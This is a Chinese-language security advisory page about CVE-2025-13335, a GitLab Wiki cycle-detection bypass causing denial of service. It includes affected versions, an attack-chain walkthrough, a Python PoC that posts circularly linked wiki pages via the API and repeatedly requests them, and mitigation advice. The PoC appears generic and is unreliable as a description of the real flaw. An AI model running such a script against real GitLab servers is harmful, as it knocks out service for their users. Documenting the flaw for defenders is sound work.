IPBUF安全漏洞报告
English
CVE-2025-13335 CVSS 6.5 中危

CVE-2025-13335: GitLab Wiki文档循环检测绕过导致拒绝服务漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-13335
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

拒绝服务GitLabWiki循环检测绕过CVE-2025-13335身份认证绕过资源耗尽

漏洞概述

CVE-2025-13335是GitLab Community Edition(CE)和Enterprise Edition(EE)中的一个拒绝服务漏洞。该漏洞影响从17.1到18.6.4之前的所有版本、18.7到18.7.2之前的所有版本以及18.8到18.8.2之前的所有版本。漏洞源于GitLab Wiki模块中的循环检测机制存在缺陷,攻击者(已认证的低权限用户)可以通过创建格式错误的Wiki文档来绕过循环检测,进而触发拒绝服务条件,导致GitLab服务不可用。该漏洞需要攻击者具有有效的用户账户,但不需要特殊权限,这大大降低了攻击门槛。由于CVSS评分中可用性影响为高(H),因此该漏洞虽然被评定为中危,但仍需及时修复以避免生产环境受到影响。

技术细节

该漏洞存在于GitLab的Wiki功能模块中,具体是Wiki文档的循环引用检测机制存在缺陷。攻击者可以利用Wiki文档格式的特定构造方式,绕过内置的循环检测算法。当GitLab尝试解析这些恶意构造的Wiki文档时,系统会进入无限循环或消耗大量计算资源,最终导致服务响应缓慢或完全无响应。攻击者只需创建一个包含特殊构造的Wiki页面,该页面通过链接和引用形成复杂的循环结构,绕过传统的循环检测(如基于访问计数的检测)。由于Wiki支持多种格式(Markdown、RDoc等),攻击者有多种方式构造恶意内容。攻击成功后,GitLab的Web服务进程可能出现CPU占用率飙升、内存耗尽或进程僵死等症状,需要重启服务才能恢复。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标GitLab实例版本,确认版本在受影响范围内(17.1至18.6.4之前、18.7至18.7.2之前、18.8至18.8.2之前)
STEP 2
步骤2: 账户获取
攻击者获取GitLab用户账户(可以是普通用户账户,无需管理员权限),通过注册或已有账户登录系统
STEP 3
步骤3: 项目准备
攻击者创建一个新项目或选择已有项目,确保具有Wiki功能的访问权限
STEP 4
步骤4: 恶意Wiki页面构造
攻击者创建包含特殊循环引用结构的Wiki文档,利用格式错误的链接和嵌套关系绕过循环检测机制
STEP 5
步骤5: 触发拒绝服务
当其他用户或系统访问该恶意Wiki页面时,GitLab的Wiki解析器会进入异常处理流程,消耗大量CPU和内存资源
STEP 6
步骤6: 服务中断
持续的资源消耗导致GitLab服务响应缓慢或完全不可用,需要管理员手动干预重启服务才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13335 PoC - GitLab Wiki循环检测绕过 # 攻击者需要创建一个包含特殊循环引用的Wiki页面 # 登录GitLab后访问项目Wiki功能 import requests import json TARGET_URL = "https://gitlab.example.com" PROJECT_ID = "your-project-id" API_TOKEN = "your-private-token" def create_malicious_wiki_page(): """ 创建恶意Wiki页面,构造循环引用绕过检测 """ headers = { "PRIVATE-TOKEN": API_TOKEN, "Content-Type": "application/json" } # 构造包含循环引用的Wiki内容 # 使用特定的链接格式形成循环结构 malicious_content = """ # Page 1 - 循环起点 [[Page2|链接到页面2]] # 创建大量嵌套链接形成复杂循环 [[Page1]] [[Page1]] [[Page1]] [[Page2]] [[Page2]] [[Page2]] # 使用特殊语法构造检测盲区 [[Page1|hidden link 1]] [[Page1|hidden link 2]] [[Page1|hidden link 3]] """ data = { "title": "MaliciousWikiPage", "format": "markdown", "content": malicious_content } # 创建第一个恶意Wiki页面 url = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/wikis" response = requests.post(url, headers=headers, json=data) # 创建Page2作为循环的一部分 data["title"] = "Page2" response2 = requests.post(url, headers=headers, json=data) # 创建Page1并构造循环 data["title"] = "Page1" data["content"] = "[[Page2]]\n[[Page1]]" response3 = requests.post(url, headers=headers, json=data) print(f"恶意Wiki页面创建完成") print(f"响应状态: {response.status_code}") return True def verify_dos(): """ 访问恶意Wiki页面触发拒绝服务 """ headers = {"PRIVATE-TOKEN": API_TOKEN} url = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/wikis/MaliciousWikiPage" # 多次请求以增加影响 for i in range(5): response = requests.get(url, headers=headers, timeout=30) print(f"请求 {i+1}: 状态码 {response.status_code}") if __name__ == "__main__": print("CVE-2025-13335 PoC - GitLab Wiki DoS") create_malicious_wiki_page() verify_dos()

影响范围

GitLab CE/EE 17.1 <= 版本 < 18.6.4
GitLab CE/EE 18.7 <= 版本 < 18.7.2
GitLab CE/EE 18.8 <= 版本 < 18.8.2

防御指南

临时缓解措施
如果无法立即进行版本升级,建议采取以下临时缓解措施:1) 限制Wiki功能的使用权限,仅允许受信任的管理员创建Wiki页面;2) 启用GitLab的API速率限制防止自动化攻击;3) 监控系统资源使用情况,当发现异常CPU或内存占用时及时告警;4) 考虑在反向代理层添加请求频率限制;5) 定期审计Wiki内容,检查是否存在异常循环引用结构。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表